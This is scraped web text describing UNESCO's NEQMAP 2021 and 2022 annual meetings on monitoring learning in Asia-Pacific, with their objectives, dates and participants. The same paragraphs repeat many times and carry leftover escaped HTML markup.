SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

